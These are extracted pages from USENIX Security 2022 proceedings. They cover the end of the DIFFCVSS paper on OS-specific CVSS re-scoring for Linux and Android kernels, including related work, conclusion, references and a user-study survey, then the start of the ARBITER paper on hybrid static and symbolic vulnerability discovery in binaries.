adequate documentation, which might mislead DIFFCVSS
and result in a wrong metrics mapping. Therefore, it will be
exciting to see future work that could automatically gener-
ate the vulnerability metrics without the function description
but only based on functions’ semantics and their usage con-
text. However, developing such techniques is challenging
and also out of the scope of this work. Furthermore, the
component of vulnerable call-chain identification is based on
the program call-graph, which is built by LLVM and Clang.
Thus, DIFFCVSS cannot analyze the project, for which the
complete call graph is unavailable, and it does not support
Clang. However, in general, DIFFCVSS can be applied to
other open-source applications if their documentation is well
maintained, and their call graph can be generated.

9 Related Work
CVSS score/severity/exploitability prediction. Khazaei et
al. [39] and Elbaz et al. [18] proposed a machine learning-
based method to predict CVSS scores based on natural lan-
guage description of vulnerabilities. Han et al. [32] trained
a robust deep-learning model that can extract discriminative
features of vulnerability descriptions to predict multi-class
severity level of software vulnerability. Many previous works
[11, 12, 17] also tried to predict how soon individual vulnera-
bilities are likely to be exploited using features derived from
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vulnerability databases or social media posts. However, those
approaches cannot address the “one-for-all” CVSS usage is-
sue, because there exists no vulnerability report for different
versions or derivatives (but only the mainline) to conduct
those description-only analysis. Additionally, there are some
program analysis-based methods that infer the exploitability
of vulnerability. However, those works are less scalable and
applicable due to the requirement of PoCs/exploits or using
less-generic self-defined metrics.

Vulnerability severity rating. Numerous works also try to
rate the vulnerabilities to help patch prioritization and eval-
uate the severity of vulnerabilities. CVSS [46] generally
discussed the Common Vulnerability Scoring System. Liu
et al. [42] compared existing vulnerability severity scoring
systems X-Force, CVSS and VRSS, based on which they
also provide their own vulnerability scoring system. Han et
al. [32] provide a system based on word embeddings and a
CNN, which can capture special word and sentence features
from vulnerability descriptions and further use them to pre-
dict vulnerability severity. Similarly, Spanos et al. [58] also
provide a vulnerability severity scoring system based on text
mining against the description of vulnerabilities. However,
most of these existing works are only based on textual infor-
mation of vulnerabilities, which are typically limited to the
specific version and vendor of a project. Thus, these works
cannot address cross-environment vulnerabilities effectively.

Patch prioritization. A widely regarded principle is that
security-critical bugs should be prioritized for patching. Many
previous works [10, 30, 78] thus try to identify security-
critical bugs from general bugs through machine learning
techniques. Arora et al. [8] provide an empirical study on
vulnerabilities disclosure, which shows that vulnerability dis-
closure can accelerate patch release, and vendors are more
responsive to more severe vulnerabilities. VULCON [20]
is a vulnerability management strategy, which can prioritize
vulnerabilities for patching based on the input that includes a
series of vulnerability reports, asset criticality, and personnel
resources. Sharma et al. [56] leverage word embedding and
convolution neural network (CNN) to prioritize vulnerability
by analyzing the vulnerability description. However, these
works are only based on the description information from the
CVE or patches, which may not be precise enough when the
description only includes limited information. Furthermore,
none of these existing works can analyze the severity of cross-
OS vulnerabilities. Unlike these works, DIFFCVSS not only
analyzes the description information but also the exploitation
information collected from call chains using program analy-
sis techniques, and thus is more precise and can address the
cross-OS situation.

Vulnerability in cloned projects. Due to the code
clone/reuse, many vulnerabilities propagate to multiple
projects. Some previous works try to identify these vul-
nerabilities. VulSeeker [26] and Gemini [73] are based on

machine-learning techniques, which can analyze the similar-
ity of code and check the existence of cross-platform vulnera-
bilities in binary code. XMATCH [21] detects cross-platform
vulnerabilities in embedded systems and IoT devices based on
extracting and comparing conditional formulas as semantic
features from the binary code. Some previous works also
conduct empirical studies about the severity and influence
of vulnerabilities that propagate to different projects. AD-
DICTED [77] reveals the security risk brought by software
shipment and customization, as vendors and carriers enrich
the system’s functionalities without fully understanding the
security implications. Farhang et al. [19] empirically studied
the security bulletin from Android and three leading ven-
dors: Samsung, LG, and Huawei. Their results show that
vendors would evaluate vulnerabilities and react with CVEs
with Android Git repository references without delay. But
all of these vendors are using different structures for vulner-
ability reporting. Frühwirth [23] presents that people in the
industry have known that the severity of vulnerabilities varies
significantly among different organizational contexts, and this
information can improve the quality of the CVSS-based vul-
nerability prioritization. However, different from DIFFCVSS,
after pointing out or discovered the issues caused by vulner-
abilities that influence multiple projects, none of them can
automatically tell the severity differences of these vulnerabili-
ties. But all of these vendors are using different structures for
vulnerability reporting. Frühwirth [23] presents that people
in the industry have known that the severity of vulnerabilities
varies significantly among different organizational contexts,
and this information can improve the quality of the CVSS-
based vulnerability prioritization. However, different from
DIFFCVSS, after pointing out or discovered the issues caused
by vulnerabilities that influence multiple projects, none of
them can automatically tell the severity differences of these
vulnerabilities.

10 Conclusion
CVSS is used in an “one for all” strategy that assigns a single
severity score, regardless of the derivatives or versions. This
problem results in both severity overestimation which wastes
maintenance resources and severity underestimation which
delays the patching of critical vulnerabilities and incurs criti-
cal threats. To address it, this paper presents DIFFCVSS, a
system that can automatically and precisely determine if a
vulnerability will have a higher or lower severity in a different
OS. DIFFCVSS incorporates multiple new techniques, such
as automatically identifying the call-chain for a vulnerability
and mapping kernel functions to CVSS metrics, to ensure
precision and effectiveness. We evaluated DIFFCVSS on
the Linux and Android kernels. DIFFCVSS reveals that 110
(86.7%) of vulnerabilities show a different severity across
OSes, and thus should be reevaluated per OS. In 18 cases, the
severity is higher in the derivative Android system; failure
to re-assess them will delay the patching process, incurring
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critical threats. Our user study also showed that DIFFCVSS
can correctly and effectively guide OS-aware re-evaluation.
The results confirm that DIFFCVSS is precise and effective
in capturing severity differences across OSes.
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[17] Andrej Dobrovoljc, Denis Trček, and Borut Likar. Predicting ex-
ploitations of information systems vulnerabilities through attackers’
characteristics. IEEE Access, 5:26063–26075, 2017.

[18] Clément Elbaz, Louis Rilling, and Christine Morin. Fighting n-day
vulnerabilities with automated cvss vector prediction at disclosure.
In Proceedings of the 15th International Conference on Availability,
Reliability and Security, pages 1–10, 2020.

[19] Sadegh Farhang, Mehmet Bahadir Kirdan, Aron Laszka, and Jens
Grossklags. An empirical study of android security bulletins in different
vendors. In Proceedings of The Web Conference 2020, pages 3063–
3069, 2020.

[20] Katheryn A Farris, Ankit Shah, George Cybenko, Rajesh Ganesan,
and Sushil Jajodia. Vulcon: A system for vulnerability prioritization,
mitigation, and management. ACM Transactions on Privacy and
Security (TOPS), 21(4):1–28, 2018.

[21] Qian Feng, Minghua Wang, Mu Zhang, Rundong Zhou, Andrew Hen-
derson, and Heng Yin. Extracting conditional formulas for cross-
platform bug search. In Proceedings of the 2017 ACM on Asia Con-
ference on Computer and Communications Security, pages 346–359,
2017.

[22] FIRST. A complete guide to the common vulnerability scoring system,
2021.

[23] Christian Fruhwirth and Tomi Mannisto. Improving cvss-based vulner-
ability prioritization and response with context information. In 2009
3rd International symposium on empirical software engineering and
measurement, pages 535–544. IEEE, 2009.

[24] Christian Fruhwirth and Tomi Mannisto. Improving cvss-based vulner-
ability prioritization and response with context information. In 2009
3rd International Symposium on Empirical Software Engineering and
Measurement, pages 535–544, 2009.

[25] Kelsey R Fulton, Anna Chan, Daniel Votipka, Michael Hicks, and
Michelle L Mazurek. Benefits and drawbacks of adopting a secure pro-
gramming language: Rust as a case study. In Seventeenth Symposium
on Usable Privacy and Security ({SOUPS} 2021), pages 597–616,
2021.

[26] Jian Gao, Xin Yang, Ying Fu, Yu Jiang, and Jiaguang Sun. Vulseeker:
a semantic learning based vulnerability seeker for cross-platform bi-
nary. In 2018 33rd IEEE/ACM International Conference on Automated

410    31st USENIX Security Symposium USENIX Association



Software Engineering (ASE), pages 896–899. IEEE, 2018.

[27] Google. Android common kernels, 2020. https:
//source.android.com/devices/architecture/kernel/
android-common.

[28] Google. Chrome os, 2020. https://www.google.com/
chromebook/chrome-os/.

[29] Google. Android developers, 2021. https://
developer.android.com/.

[30] Katerina Goseva-Popstojanova and Jacob Tyo. Identification of security
related bug reports via text mining using supervised and unsupervised
classification. In 2018 IEEE International Conference on Software
Quality, Reliability and Security (QRS), pages 344–355. IEEE, 2018.

[31] Greg Guest, Arwen Bunce, and Laura Johnson. How many interviews
are enough? an experiment with data saturation and variability. Field
methods, 18(1):59–82, 2006.

[32] Zhuobing Han, Xiaohong Li, Zhenchang Xing, Hongtao Liu, and
Zhiyong Feng. Learning to predict severity of software vulnerability
using only vulnerability description. In 2017 IEEE International
conference on software maintenance and evolution (ICSME), pages
125–136. IEEE, 2017.

[33] Matthew Honnibal, Ines Montani, Sofie Van Landeghem, and Adriane
Boyd. spaCy: Industrial-strength Natural Language Processing in
Python. 2020.

[34] Ltd Huawei Device Co. Emui 11, 2021. https://
consumer.huawei.com/en/emui-11/.

[35] Incident Response and Security Teams. Cvss score, 2021.

[36] NVD ITL. National vulnerability database, 2020. https://
nvd.nist.gov/.

[37] The kernel development community. The linux kernel api.

[38] The kernel development community. Writing kernel-doc comments,
2021.

[39] Atefeh Khazaei, Mohammad Ghasemzadeh, and Vali Derhami. An
automatic method for cvss score prediction using vulnerabilities de-
scription. Journal of Intelligent & Fuzzy Systems, 30(1):89–96, 2016.

[40] Foutse Khomh, Hao Yuan, and Ying Zou. Adapting linux for mobile
platforms: An empirical study of android. In 2012 28th IEEE inter-
national conference on software maintenance (ICSM), pages 629–632.
IEEE, 2012.

[41] BlackBerry Limited. Blackberry secure platform, 2018.
https://www.blackberry.com/us/en/campaigns/2018/
blackberry-secure-platform.

[42] Qixu Liu, Yuqing Zhang, Ying Kong, and Qianru Wu. Improving
vrss-based vulnerability prioritization using analytic hierarchy process.
Journal of Systems and Software, 85(8):1699–1708, 2012.

[43] Kangjie Lu and Hong Hu. Where does it go? refining indirect-call
targets with multi-layer type analysis. In Proceedings of the 2019
ACM SIGSAC Conference on Computer and Communications Security,
pages 1867–1881, 2019.

[44] Kangjie Lu, Aditya Pakki, and Qiushi Wu. Detecting missing-check
bugs via semantic- and context-aware criticalness and constraints infer-
ences. In 28th USENIX Security Symposium (USENIX Security 19),
pages 1769–1786. USENIX Association, 2019.

[45] Allison McDonald, Catherine Barwulor, Michelle L Mazurek, Florian
Schaub, and Elissa M Redmiles. " it’s stressful having all these phones":
Investigating sex workers’ safety goals, risks, and practices online. In
30th {USENIX} Security Symposium ({USENIX} Security 21), 2021.

[46] Peter Mell, Karen Scarfone, and Sasha Romanosky. Common vulnera-

bility scoring system. IEEE Security & Privacy, 4(6):85–89, 2006.

[47] MITRE-CVE. Common vulnerabilities and exposures program, 2021.

[48] MIUI. Miui 12, 2020. https://en.miui.com/.

[49] Steven S Muchnick. Advanced compiler design and implementation
morgan kaufmann publishers. San Francisco, California, 1997.

[50] National Vulnerability Database (NVD). Vulnerability metrics, 2020.
https://nvd.nist.gov/vuln-metrics/cvss.

[51] OPPO. Color os7, 2020. https://www.coloros.com/en/
coloros7.

[52] Yoann Padioleau, Julia L. Lawall, René Rydhof Hansen, and Gilles
Muller. Documenting and automating collateral evolutions in linux
device drivers. In EuroSys, 2008.

[53] RedHat. Third-party severity ratings, 2007. https://
www.redhat.com/en/blog/third-party-severity-ratings.
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12 Appendix
12.1 User study materials
12.1.1 Recruitment Requirement for Students
Students met the following requirement are selected to participate the user
study.

• Must have take at least one security-related class
• Must have some basic knowledge of system security
• Must read/write vulnerability report before
• Must be familiar with Linux Kernel

12.1.2 Contact Information Survey
The contact information survey is used to record demographics information
and contact method, provide the online consent form. The details can be
found at [3].

12.1.3 Online Consent Form
We provide online consent form for participants to read before agreeing to
be in the study. It includes the purpose, the procedure of this study, and the
risks and benefits of taking part in this study. The details can be found at [3]

12.1.4 Train Evaluation Form
Train Evaluation Form, which can evaluate the student’s professional knowl-
edge of vulnerability assessment, is used to guarantee the student participants
can deliver qualified responses. The details can be found at [3].

12.1.5 Post Survey
1. How necessary do you think the derivatives of Linux kernel need to

re-evaluate the vulnerabilities?
(a) Extremely necessary
(b) Very necessary
(c) Moderately necessary
(d) Slightly necessary
(e) Not necessary at all

2. Do you think DIFFCVSS can correctly guide you when re-evaluate
the vulnerability?
□ Yes
□ No
□ Not Sure

3. How effectively do you think DIFFCVSS tool can help you re-evaluate
vulnerability?

(a) Extremely effective
(b) Very effective
(c) Moderately effective
(d) Slightly effective
(e) Not effective at all

4. What kinds of manual work can be reduced with DIFFCVSS?
□ Less time to find vulnerability-related call-chain
□ Less time to understand the functionality of code
□ Less time to analyze the CVSS metrics
□ Less time to understand the exploitability of the vulnerability
□ Other

5. How much do you think DIFFCVSS can reduce your workload?
(scale question from reducing 0% - 100% workload)

6. What kinds of manual work still required with DIFFCVSS?
□ Look into the patch of the vulnerability
□ Look into the CVE description
□ Checking the reachability of the call-chain
□ other

7. How precise do you think about DIFFCVSS?
(a) Extremely precise
(b) Very precise
(c) Moderately precise
(d) Slightly precise
(e) Not precise at all

8. Will you consider using the tool in the future when you need to evaluate
a new vulnerability?
□ Yes
□ No
□ Might or might not

9. Do you think our methodology can be generalized to other program-
s/other applications?
□ Yes
□ No
□ Might or might not

10. If any, please describe the shortcoming of DIFFCVSS and anything
that can be improved for DIFFCVSS (open-question).

412    31st USENIX Security Symposium USENIX Association



Arbiter: Bridging the Static and Dynamic Divide
in Vulnerability Discovery on Binary Programs

Jayakrishna Vadayath∗, Moritz Eckert†, Kyle Zeng∗, Nicolaas Weideman‡, Gokulkrishna Praveen Menon∗, Yanick Fratantonio+,
Davide Balzarotti†, Adam Doupé∗, Tiffany Bao∗, Ruoyu Wang∗, Christophe Hauser‡, Yan Shoshitaishvili∗

∗Arizona State University, †EURECOM, ‡University of Southern California, +Cisco Systems Inc.
∗{jvadayat,zengyhkyle,gpraveen,doupe,tbao,fishw,yans}@asu.edu †{moritz.eckert,davide.balzarotti}@eurecom.fr

+yanick.fratantonio.me ‡hauser@isi.edu ‡nweidema@usc.edu

Abstract
In spite of their effectiveness in the context of vulnerability
discovery, current state-of-the-art binary program analysis ap-
proaches are limited by inherent trade-offs between accuracy
and scalability. In this paper, we identify a set of vulnerability
properties that can aid both static and dynamic vulnerability
detection techniques, improving the precision of the former
and the scalability of the latter. By carefully integrating static
and dynamic techniques, we detect vulnerabilities that exhibit
these properties in real-world programs at a large scale.

We implemented our technique, making several advance-
ments in the analysis of binary code, and created a prototype
called ARBITER. We demonstrate the effectiveness of our
approach with a large-scale evaluation on four common vul-
nerability classes: CWE-131 (Incorrect Calculation of Buffer
Size), CWE-252 (Unchecked Return Value), CWE-134 (Un-
controlled Format String), and CWE-337 (Predictable Seed
in Pseudo-Random Number Generator). We evaluated our
approach on more than 76,516 x86-64 binaries in the Ubuntu
repositories and discovered new vulnerabilities, including a
flaw inserted into programs during compilation.

1 Introduction

In spite of the constant evolution of security mechanisms
and safeguards that were introduced in compilers, operating
systems, and development environments, software vulnera-
bilities continue to be discovered. As a partial mitigation for
this, the process of post-development analysis and testing has
become standard practice in assessing the security of standard
libraries, OS components, and embedded firmware alike.

In recent years, the state of the art in binary vulnerabil-
ity discovery advanced with a panoply of new dynamic ap-
proaches, with a focus on fuzzing techniques. While this
emphasis on fuzzing has led to dramatic improvements over
existing techniques, and, therefore, represents a valuable path
forward, it has come at a cost of investment in static analysis.
This trade-off has downsides: “deep bugs”, i.e., bugs “buried”
deep within a program’s possible execution paths or requiring
intricate constraints tend to challenge dynamic techniques due
to the dynamic coverage problem. Another dynamic approach,
dynamic symbolic execution (DSE), is commonly used to ex-
haust execution paths within a small region of binary code and

look for property violations. DSE’s high-fidelity execution is
both a bless and a curse: it also suffers from the dynamic cov-
erage problem due to poor scalability on real-world binaries.

While revisiting static analysis would allow researchers to
sidestep the dynamic coverage problem, current static anal-
ysis techniques on binary code lack the precision required
to effectively identify vulnerabilities without overwhelming
human analysts with false positives.

Vulnerability discovery techniques are most useful if they
can be applied on a wide spectrum of programs in a fully au-
tomated manner without introducing overwhelming numbers
of false positives. A hybrid approach—taking the best from
both static and dynamic worlds—with high precision while
maintaining high scalability, would be a powerful tool.

In this paper, we describe our effort to build such a tool,
inspired by the evolution of fuzzing research. Because fuzzers
must execute the target program, individual techniques are
tailored to the analysis of individual program classes, such
as kernel modules [20, 43] or language runtimes [19]. We
realized that an analog to this concept in static analysis is
the tailoring of static analyses to specific vulnerability types.
By leveraging this insight, we identified a set of vulnerability
properties that allow us to maintain, at the same time, a scal-
able (albeit imprecise) static detection and a precise (albeit
less scalable) dynamic filtering of false positives. ARBITER is
our hybrid analysis technique that can scalably analyze large
amounts of binary code while maintaining high precision
even in the case of complex vulnerabilities such as intricate
occurrences of integer overflows or privilege escalation bugs.
ARBITER is expandable and supports the specification of
different vulnerability classes that exhibit the properties we
identified, with new vulnerability class specifications requir-
ing on the order of 75 lines of code. We present examples for
four cases: CWE-131 (Incorrect Calculation of Buffer Size),
CWE-252 (Unchecked Return Value), CWE-337 (Predictable
Seed in PRNG), and CWE-134 (Uncontrolled Format String).

To achieve ARBITER’s hybrid analysis, we introduce novel
improvements to, and create novel combinations of, several
binary-level analysis techniques, culminating in an adaptive
false positive filtering step that uses static and dynamic tech-
niques for a configurable trade-off between precision and per-
formance. We also show how previous approaches—including
those that target specific categories of bugs—are all affected
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by limitations that hinder their precision and scalability. In
fact, while one may think that detecting these vulnerabilities
is trivial, we show that they are very challenging to identify in
complex, real-world scenarios, and non-trivial even on “toy”
code. For example, in an experiment on the synthetic Juliet
dataset, ARBITER identified, and we manually confirmed, 190
vulnerabilities in testcases that were erroneously considered
safe by the ground truth and former analyses.

We evaluate ARBITER on 76,516 binary programs, which
are collected from x86-64 Ubuntu 18.04 software repositories.
We also demonstrate its precision by analyzing the 436 CWE-
131 alerts that ARBITER raises in 366 programs, the 159 CWE-
252 alerts across 126 programs, the 158 CWE-134 alerts
across 119 programs, and the 377 CWE-337 alerts across 370
programs. These results demonstrate that ARBITER scales
to real-world scenarios, and can detect bugs, including 0-day
vulnerabilities, in real-world software. For example, we found
and reported an exploitable vulnerability (CVE-2018-18311)
in the Perl runtime and a heap error that affects all 32-bit
programs compiled by the OCaml compiler.
Contributions. Our paper makes the following contributions:

• We identify a specific set of vulnerability properties that
allow for the effective combination of static analysis and
dynamic analysis, especially DSE, to achieve precision
while maintaining scalability.

• We develop ARBITER, a framework that combines static
analysis and DSE to identify bugs. ARBITER operates
without any requirement for source code or build sys-
tems, and includes novel improvements to both static
and dynamic techniques. Creating specifications of new
vulnerability classes in ARBITER is inexpensive.

• We perform a large-scale evaluation of ARBITER, ana-
lyzing 76,516 binaries for four bug classes.

To support open research, ARBITER and data is available1.

2 Related Work and Motivations

Table 1 lists six features that, from our view, are critical for
real-world adoption of a vulnerability discovery technique.
While much research focuses on vulnerability discovery, none
of them provides an automated, scalable, and generic solution,
which is the goal of this research. We first discuss research
work that attempted (and failed) to achieve our research goal,
then we present our observations and insights that led to the
birth of ARBITER.

2.1 Vulnerability Discovery Techniques
We group existing vulnerability discovery techniques (sum-
marized in Table 1) that are closely related to ARBITER along
three main areas and discuss their advantages and limitations,
which prevented them from being widely adopted.

1https://github.com/jkrshnmenon/arbiter

Tool No Source

High Scalability

Low False
Positiv

e

No Harness

Symbolic
Reasoning

Generic
Vulns

Vanguard 7 3 7 3 7 7
Joern 7 3 7 3 7 3
CodeQL 7 3 7 3 7 3
Infer 7 3 7 3 7 3
AFL 3 7 3 7 7 3
Smartfuzz 3 7 3 7 3 7
DIODE 3 7 3 7 3 7
Statsym 3 7 3 7 3 3
IntScope 3 3 3 3 3 7
INDIO 3 3 3 3 3 7
ARBITER 3 3 3 3 3 32

Table 1: Comparison between ARBITER and related tools in terms of their ca-
pabilities. We note whether the tool requires source code, has high scalability
through the use of static techniques, has a low false positive rate through the
use of dynamic techniques, requires a harness to execute the code under test,
has symbolic reasoning capabilities, and supports generic vulnerability types.

White-box Static Vulnerability Analysis. Many techniques
exist to find vulnerabilities in source code. However, there are
fundamental challenges that differentiate static analysis from
solutions that focus on binaries. Therefore, we only discuss
approaches that are more closely related to ARBITER.

Graph-based vulnerability discovery approaches, such as
Joern, Chucky, and CodeQL, rely on a number of carefully
crafted queries that express patterns over a graph represen-
tation of the program source code [35, 44, 46]. Their main
goal is to reduce the scope for a human analyst to only the
potentially vulnerable parts of the code. As such, they do not
try to be fully automated nor precise.

Some static tools are designed to find the same types of er-
rors as ARBITER. For example, Vanguard [40] tries to identify
missing security-sensitive checks by combining static code
analysis and taint analysis. On top of requiring source code,
Vanguard explicitly focuses on checks of operations directly
affected by user input, and could not detect, among others, the
failed dropped privilege vulnerability (shown in Section 3.2).

Dynamic Analysis on Binaries. There is a rich literature
on the use of static analysis and DSE to drive the test case
generation in a fuzzer [1, 2, 7, 27, 30, 37, 41, 49, 50].

SmartFuzz combines fuzzing and DSE to identify integer
bugs in x86 Linux programs [25]. In addition to generating
new test cases by using DSE, SmartFuzz uses a constraint
solver to further identify assertion errors in integer operations,
such as arithmetic overflows, non-value preserving width con-
versions, and dangerous signed/unsigned conversions. How-
ever, similar to other dynamic techniques, the scalability of
SmartFuzz is severely limited by the symbolic-supported
fuzzy exploration performed from the program entry point.
Furthermore, SmartFuzz is limited to integer bugs, and it is
unclear how much effort is required to support detection of
more bug types.

2ARBITER can identify different types of vulnerabilities provided that
they satisfy certain properties as described in Section 3.
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Other solutions adopt taint analysis or DSE to uncover
vulnerabilities in applications, e.g., Statsym [48], which uses
statistics-guided DSE, and DIODE [39], which uses taint anal-
ysis to identify code locations that allocate memory and DSE
to check if the integer argument of these allocation is vul-
nerable to overflow. While these solutions can find some
vulnerabilities that ARBITER finds, both approaches require
test-cases that exercise vulnerable points in target programs.
In practice, this often requires an extensive fuzzing campaign.

Binary Static Analysis enhanced by DSE. Combining
static analysis and DSE to verify results and reduce false
positives is not novel. INDIO [51] is a pattern-matching so-
lution that identifies and ranks code locations for potential
vulnerabilities, then uses DSE with path pruning to validate
the vulnerability. INDIO always starts from the program’s
entry point when performing DSE, which greatly limits its
scalability.

IntScope [42] uses path-sensitive data-flow analysis to iden-
tify integer overflows, and taint analysis followed by DSE to
verify that the overflow constraints are satisfied. The combina-
tion of static analysis and DSE and the ability to detect integer
overflows with a low number of false positives makes these
approaches similar to ARBITER. However, these techniques
are tailored to a specific class of bugs, while integer overflow
is only one example of what ARBITER is designed to detect.

2.2 Binary Analysis: Static vs. Dynamic

Table 2 provides a qualitative comparison of common vulner-
ability discovery techniques on binary code. Generally, dy-
namic techniques and static techniques have different focuses:
The former sacrifices code coverage (due to the dynamic cov-
erage problem, which leads to a high number of missed bugs)
and heavily relies on human effort for harnessing and deploy-
ment, while the latter can easily achieve high code coverage
at the cost of high false positives. Resource requirements,
scaling up, filtering false positives from reported vulnerabili-
ties, and human effort in modeling environment or creating
harnesses all directly translate to the essential cost of applying
these techniques. This cost contributes to the reluctance of
applying these techniques on a wide spectrum of binaries.

Revisiting Table 2 reveals an interesting gap among these
vulnerability discovery techniques: The lack of economic,
scalable, and low-human-inference techniques with low false
positive and false negative rates. Specifically, the absence of
such techniques dictates that the use of modern vulnerability
discovery techniques must be combined with high cost, in
the form of either significant compute or human effort. This
motivates our design of ARBITER, a low-cost vulnerability
discovery technique on binary code for a set of vulnerability
classes that are compliant with certain properties.

3 Vulnerability-Targeted Static Analysis

Our key insight is that, by carefully choosing vulnerabili-
ties with properties that can be leveraged during both static
and dynamic analysis, we can properly scope a vulnerabil-
ity detection approach to combine these two paradigms and
achieve high precision while maintaining scalability. To this
end, we identified a set of vulnerability “properties” that lend
themselves well to static analysis while also providing op-
portunities for integrating dynamic techniques to improve
precision. We identified three such properties:

(P1) Data-flow sensitive vulnerabilities. Vulnerabilities
that are data-flow sensitive can be discovered by reasoning
about data flows between input sources and vulnerability
sinks. Note that the scope of data-flow sensitive vulnerabil-
ities is strictly larger than taint-style vulnerabilities, which
only includes vulnerabilities that are caused by missing san-
itization on tainted user input [45]. These are approachable
by static techniques, with typical precision limitations, but
also allow for additional dynamic verification of data flows
to increase precision.
(P2) Easily identifiable sources or sinks. During vulnerabil-
ity discovery, vulnerability sources determine the beginning
of data-flow tracking, and vulnerability sinks determine the
termination of data-flow tracking. Identifying sources and
sinks for many vulnerability classes requires precise alias-
ing information on an entire binary, which is known to be
prohibitively expensive and unscalable. For example, if the
source is defined as “any data read from file /tmp/secret,”
identifying all input sources will require correctly analyzing
the parameters of every function and syscall that opens a file,
and the propagation of file pointers, file descriptors, and rele-
vant data structures. On the contrary, some have sources or
sinks that can be identified through examining artifacts that a
computationally cheap and scalable analysis generates, such
as a CFG. An example of such a sink is “all call sites to the
library function malloc().”

With this style of sources and sinks, slicing a program from
a source to a sink is a well-studied static technique. Though
this property is generally considered in the context of static
analysis, these slices can be processed by dynamic techniques.
This allows for dynamic techniques, such as DSE, to reason
about over-approximations in the slicing process, fix such
over-approximations, and improve overall system precision.
(P3) Control-flow-determined aliasing. Tracking data-
flows almost always involves recovering aliasing information,
which requires an expensive, full-binary analysis on the target.
However, we observe that the data flows that many vulner-
abilities incorporate do not involve pointer dereferencing at
all, or when they do, the pointer can always be resolved to
one object that is determined by the control flow (e.g., local
variables accessed through the stack pointer). We deem such
cases of aliasing as control-flow-determined, making this a
prerequisite of our targeted vulnerabilities.
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Technique Genre FP FN Vuln. types Coverage Resource Human effort Scalability Examples

Fuzzing dynamic no high crash-introducing very low high harnessing, deployment high [1, 2, 7, 10, 11, 30, 37, 50]
Taint tracking dynamic no high generic very low high harnessing, env., rules high [26, 34]

DSE dynamic yes high generic low very high harnessing, env., rules low [34, 38]
DSE-assis. fuzzing dynamic no high crash-introducing low high harnessing, env. medium [5, 6, 16, 17, 27, 41, 49]
Graph-based tech. static high medium generic high low env., rules, fp high [28, 44, 45]
Taint-based tech. static high medium generic high low env., rules, fp high [8, 18, 31, 32]

ARBITER hybrid low low specific high low rules high

Table 2: A qualitative comparison of the strengths and weaknesses of common vulnerability discovery techniques on binary code. “DSE-assis. fuzzing” refers
DSE-assisted fuzzing techniques; “Graph-based tech.” refers to static analysis techniques that are based on program property graphs; “Taint-based tech.” refers to
taint-based static analysis techniques. The “high,” “medium,” and “low” assessment are empirical and illustrative. “Generic” means users can develop violation
detection rules for each vulnerability type to discover. “Env.” refers to the effort of modeling environment (developing taint propagation rules for library functions
in taint tracking, or developing function summaries for library functions in DSE). “FP” refers to false-positive reduction effort, which is mostly done by humans.

From the static side, this property allows ARBITER to adap-
tively step forward or back on a CFG without having to worry
about imprecisions caused by incorrect aliasing information.
From the dynamic side, it greatly simplifies aliasing problems
resulting from the lack of initialization of the dynamic state.

Choosing the right techniques. The three key properties pre-
viously described allow ARBITER to yield a powerful integra-
tion of static and dynamic techniques that focus on a subset
of common vulnerability classes while retaining sufficient
generality to adapt to a range of real-world vulnerabilities.
Specifically, we use the static techniques of data flow recovery
and program slicing (more details in Section 5). Our choice
of dynamic techniques is informed by the vulnerability prop-
erties. P1 defines the scope of vulnerabilities that ARBITER
can support and suggests the use of DSE, which can reason
about complex value relationships in data flows. P2 defines
a pre-condition to achieve high scalability by providing an
opportunity to execute small slices of programs. This poses a
challenge: These slices typically lack state information nec-
essary for a dynamic analysis. Luckily, P3, and the resulting
ability to ignore much of the aliasing problem, allows us to ef-
fectively apply a DSE technique known as Under-Constrained
Symbolic Execution (UCSE). Without P3, ARBITER would
need to either compute aliasing during static analysis (which
is an undecidable problem) or accept high false positives
caused by conservative aliasing. Our dynamic techniques are
discussed in Section 6.

Thus, ARBITER can reason about vulnerabilities that com-
ply with these properties in both static and dynamic-symbolic
contexts. We call these vulnerabilities Property-Compliant
(PC) Vulnerabilities. To give the reader a better perspective
on the concrete scope of our approach, we represent candidate
Common Weakness Enumeration (CWE) entries which con-
tain PC-type vulnerabilities in Table 3, along with example
CVE entries and suggested sources and sinks. In the remain-
der of this paper, we will focus on CWEs: 131, 134, 252 and
337: “Incorrect Calculation of Buffer Size,” “Uncontrolled
Format String,” “Unchecked Return Value,” and “Predictable
Seed in Pseudo-Random Number Generator.”

3.1 CWE-131: Allocation Site Overflows

Integer overflows at allocation sites are a serious class of
vulnerabilities that can provide attackers with powerful prim-
itives. Such vulnerabilities can cause programs to allocate
blocks of memory smaller than the amount of data they are
supposed to hold. When data is copied into this memory, the
resulting out-of-bound memory accesses can potentially be
exploited by attackers to gain code execution.

Occurrence. We observed this as a common pattern in mod-
ern software where a custom wrapper function is invoked
to allocate memory using common libc functions such as
malloc, realloc, or calloc. The wrapper function usually
requires an argument that denotes the number of bytes to be
allocated. Before invoking functions to allocate the requested
number of bytes, that number might be increased to accom-
modate application-specific metadata. When the requested
size is very large, this increase can lead to an integer overflow,
causing a too-small allocation to be requested.
Static sources and sinks. Naturally, the sinks for this CWE
are allocation functions (malloc, calloc, realloc). The
sources, in turn, are arguments to the wrapper function that
calls the identified sinks.
Static data flow. The data flow specification for this vulnera-
bility is simple: we can statically recover all flows from the
sources to the sinks, and then reason about them symbolically.
Dynamic symbolic constraints. Our dynamic constraints for
CWE-131 ensure that allocation size calculations do not over-
flow in wrapper functions. The constraints, expressed mathe-
matically here (but procedurally in ARBITER), are as follows:

Let uint : e→ uint denote the evaluation of an expression
as an unsigned integer value. Given an arithmetic expression
e passed as argument to a memory allocation function f , and
its individual terms {e1, · · · ,en}. A vulnerability exists iff
∃ei ∈ {e1, · · · ,en}|uint(ei)> uint(e).

This constraint is based on the assumption that a function
that contains the allocation site never decreases the required
length of the memory block3.

3Interestingly, in our large-scale evaluation, we found that this assumption
does not always hold, which leads to false positive detections of vulnerabili-
ties. We discuss these cases, and their impact on our results, in Section 8.1.1.
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CWE-ID Description P1 P2 P3 Source Sink CVE

CWE-78 Improper Neutralization of Special Elements used in an OS
Command (“OS Command Injection”)

3 3 3 1st arg. of sprintf() 1st arg. of system() CVE-2016-1334

CWE-190 Integer Overflow or Wraparound 3 3 3 arithmetic op. on return
values of sizeof()

size_t arg. of * CVE-2017-1000121

CWE-131 Incorrect Calculation of Buffer Size 3 3 3 arithmetic operations arg. of malloc() CVE-2018-18311
CWE-134 Controlled Format String 3 3 3 * printf() and alike CVE-2012-0809
CWE-252 Unchecked Return Value 3 3 3 return values of setuid() * CVE-2013-4559
CWE-337 Predictable Seed in Pseudo-Random Number Generator 3 3 3 return values of time() arg. to srand() CVE-2020-13784
